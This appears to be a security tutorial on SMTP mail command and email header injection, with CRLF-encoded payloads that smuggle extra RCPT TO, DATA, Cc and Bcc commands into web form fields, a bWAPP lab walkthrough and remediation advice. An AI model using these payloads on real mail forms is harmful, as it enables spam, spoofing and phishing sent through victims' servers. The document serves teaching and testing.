Mail Command Injection is an attack technique used to exploit mail servers and webmail applications that construct IMAP/SMTP statements from user-supplied input that is not properly sanitized. an attack technique that injects attacker-controlled SMTP commands into the data transmitted from an application (typically a web application) to an SMTP server for spamming purposes.
http://projects.webappsec.org/w/page/13246948/Mail%20Command%20Injection
IMAP/SMTP structure
- Header: ending of the expected command;
- Body: injection of the new command(s);
- Footer: beginning of the expected command.
This behavior can be exploited to send copies of emails to third parties, attach viruses, deliver phishing attacks, and often alter the content of emails. It is typically exploited by spammers looking to leverage the vulnerable company’s reputation to add legitimacy to their emails.
Common uses of SMTP in websites
- Submit messages via the application, such as to report a problem to support personnel
- Provide feedback about the website.
- This facility is usually implemented by interfacing with a mail (or SMTP) server.
- Typically, user-supplied input is inserted into the SMTP.
How SMTP Works
To understand how SMTP works, you need to first understand the difference between the envelope and the email body.
- The envelope is the initial part of the communication and it is part of the actual SMTP protocol.
The following commands are part of the envelope
- MAIL FROM: This command sets the envelope sender. (focus on this)
- RCPT TO: This command sets the envelope recipient. It can be used multiple times if you want the message to reach many people at once.
- DATA: This command begins the email payload.
The payload contains email headers and the message body separated by a single empty line. (\n on most UNIX and Linux systems, \r\n on Windows systems)
The email headers are not part of the SMTP protocol. They are interpreted by the mail client (the web application & some email handling libraries in programming languages.)
> MAIL FROM:<mail@vk9sec.com>
< 250 OK
> RCPT TO: <john@vk9sec.com>
< 250 OK
> RCPT TO:<lucy@vk9sec.com>
< 250 OK
> DATA
< 354 Send message content; end with <CRLF>.<CRLF>
> Content-Type: text/html
> Date: Wed, 25 D 2020 00:00:01
> From: Bryan <vry4n@vk9sec.com>
> Subject: Are you on vacation?
> To: everyone <everyone@vk9sec.com >
>
> Hello!
> I didn’t see you online!
> —
> Bryan
> .
< 250 OK
The above email would be received by john@vk9sec.com and lucy@vk9sec.com. However, they would see that it was sent by Bryan <vry4n@vk9sec.com> (not mail@vk9sec.com) and they would see that the recipient is everyone <everyone@vk9sec.com>
“<CRLF>.<CRLF>” used to terminate data
“<CRLF>” used to separate the RCPT TO values
Normal value:
- Rcpt to:vry4n@vk9sec.com
Injected:
- Rcpt to:vry4n@vk9sec.com>[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]
the traditional attack vectors like the following
rcpt to: vryan@vk9sec.com[CRLF]Cc: johnnny@vk9sec.com
ASCII Character Set and Hexadecimal Values
https://www.cisco.com/c/en/us/td/docs/ios/12_4/cfg_fund/command/reference/cfnapph.html
46 | 2E | . | . | . |
10 | 0A | LF | Line feed | Ctrl-J |
13 | 0D | CR | Carriage return (Equivalent to the Enter or Return key) | Ctrl-M |
32 | 20 | SP | Space | Space |
%0d%0a = [CRLF]
Example
From=daf@vk9sec.com&Subject=Site+feedback%0d%0aSometext%0d%0a%2e%0d%0aMAIL+FROM:+mail@vk9sec.com%0d%0aRCPT+TO:+john@vk9sec.com%0d%0aDATA%0d%0aFrom:+mail@vk9sec.com%0d%0aTo:+john@vk9sec.com%0d%0aSubject:+Cheap+books%0d%0aHi There%0d%0a%2e%0d%0a&Message=hello
That will translate as
- MAIL From=daf@vk9sec.com
- Subject=Site feedback
- Sometext
- .
- MAIL FROM: mail@vk9sec.com
- RCPT TO: john@vk9sec.com
- DATA
- From: mail@vk9sec.com
- To: john@vk9sec.com
- Subject: Cheap books
- Hi There
- .
- Hello
- .
SMTP commands
HELO | Specify your domain name so that the mail server knows who you are. | E.g. HELO example.com |
Specify the sender email. | E.g. MAIL FROM: <example@example.com> | |
RCPT | Specify the recipient. Issue this command multiple times if you have more than one recipient. | E.g. RCPT TO: <example2@example.com> |
DATA | Issue this command before sending the body of the message. The message body must end with the | following five letter sequence: “\r\n.\r\n.” |
QUIT | Terminates the conversation with the server. | |
EXPN | Specify that your recipient is a mailing list. | |
HELP | Asks for help from the mail server. | |
NOOP | Does nothing except to get a response from the server. | |
RSET | Aborts the current conversation and start a new conversation. | |
SEND | Sends a message to a user’s terminal instead of a mailbox. | |
SAML | Sends a message to a user’s terminal and to a user’s mailbox. | |
SOML | Sends a message to a user’s terminal if they are logged on; otherwise, sends the message to the user’s mailbox. | |
TURN | Reverses the role of client and server. This might be useful if the client program can also act as a server and needs to receive mail from the remote computer. | |
VRFY | Verifies that a particular user name of a given mail address exists. Not supported by all mail servers. |
Header injection
E-mail Header Injection can be considered as the e-mail equivalent of HTTP Header Injection. this vulnerability exists in the implementation of the built-in mail functionality in popular languages such as
PHP = mail()
[SP] = Space
[LF] = Line feed
[CR] = equivalent to “enter” new line
rcpt to=([CRLF][SP]RCPT TO:vry4n@vk9sec.com[CRLF][SP]DATA \[LF]Subject: spam10\[LF][CRLF][SP]Hello,this is a spam mail…\[LF].[CRLF][SP]QUIT[CRLF][SP]) john@vk9sec.com
Will show as
- RCPT TO:<(
- [SP]RCPT TO:vry4n@vk9sec.com
- [SP]DATA\
- Subject: spam10\
- [SP]Hello, this is a spam mail…\
- [SP]QUIT
- [SP]) john@vk9sec.com>
The former command with a leading space is confirmed to be interpreted normally, and the latter command followed by backslash
Java = JavaMail API
- rcpt to= “>[CRLF]RCPT TO:vry4n@vk9sec.com[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]”@vk9sec.com
Will show as
- RCPT TO:<“>
- RCPT TO:vry4n@vk9sec.com
- DATA
- (message content)
- QUIT
- “@vk9sec.com>
Python = email.header
Ruby = Net::SMTP, Mail
- rcpt to:vry4n@vk9sec.com[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]
Since E-mail Header Injection is caused due to improper or nonexistent sanitization of user input.
The format of e-mail messages is defined by the Simple Mail Transfer Protocol (SMTP). Each e-mail message is represented by a series of headers separated by newlines, followed by the body content (separated from the headers by two newlines).
Header components
- From
- To
- Date
- Subject
- CC
- BCC, etc
With the proper injection string, E-mail Header Injection vulnerabilities can be exploited by an attacker to inject additional headers, modify existing headers, or alter the contents of the e-mail.
Result of compromise
- An attacker can perform e-mail spoofing
- Running phishing campaigns that are sent from the actual mail server
- Spam Networks
- Information Extraction
- Denial of Service
Finding SMTP Injections flaws
1. You should submit each of the following test strings as each parameter in turn, inserting your own e-mail address at the relevant position
- <youremail>%0aCc:<youremail>
- <youremail>%0d%0aCc:<youremail>
- <youremail>%0aBcc:<youremail>
- <youremail>%0d%0aBcc:<youremail>
- %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a
- %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a
2. Note any error messages the application returns. If these appear to relate to any problem in the e-mail function, investigate whether you need to fine-tune your input to exploit a vulnerability
3. The application’s responses may not indicate in any way whether a vulnerability exists or was successfully exploited. You should monitor the e-mail address you specified to see if any mail is received
4. Review closely the HTML form that generates the relevant request. This may contain clues about the server-side software being used. It may also contain a hidden or disabled field that specifies the e-mail’s To address, which you can modify directly.
Exploitation
1. Locate the email form
2. Here, users can specify a “From” address and the contents of the message. The application passes this input to the PHP mail() command, which constructs the e-mail and performs the necessary SMTP conversation with its configured mail server.
3. Utilize the application normally, to test functionality
- To: bwapp@mailinator.com
- From: vry4n@vk9security.com
- Subject: Hello There
5. Capture the request with a web proxy, in this case BurpSuite, This is a benign request
This will cause the following
- MAIL FROM: vry4n@vk9security.com
- RCPT TO: bwapp@mailinator.com
- DATA
- From: vry4n@vk9security.com
- To: bwapp@mailinator.com
- Subject:
- Hello There
- .
6. Now capture a new request and inject a BCC, CC line using new line character “%0a” or “\n”
- name=Vry4n+Unknown&email=vry4n%40vk9security.com%0d%0a bcc:bwapp%40mailinator.com&remarks=Hello+There&form=submit
- name=Vry4n+Unknown%0d%0abcc:bwapp%40mailinator.com&email=vry4n%40vk9security.com&remarks=Hello+There&form=submit
This will make the mailing server to forward the request also to the injected address
Remediation: SMTP header injection
Validate that user input conforms to a whitelist of safe characters before placing it into email headers. In particular, input containing newlines and carriage returns should be rejected. Alternatively, consider switching to an email library that automatically prevents such attacks.
- E-mail addresses should be checked against a suitable regular expression (which should, of course, reject any newline characters
- The message subject should not contain any newline characters, and it may be limited to a suitable length
- If the contents of a message are being used directly in an SMTP conversation, lines containing just a single dot should be disallowed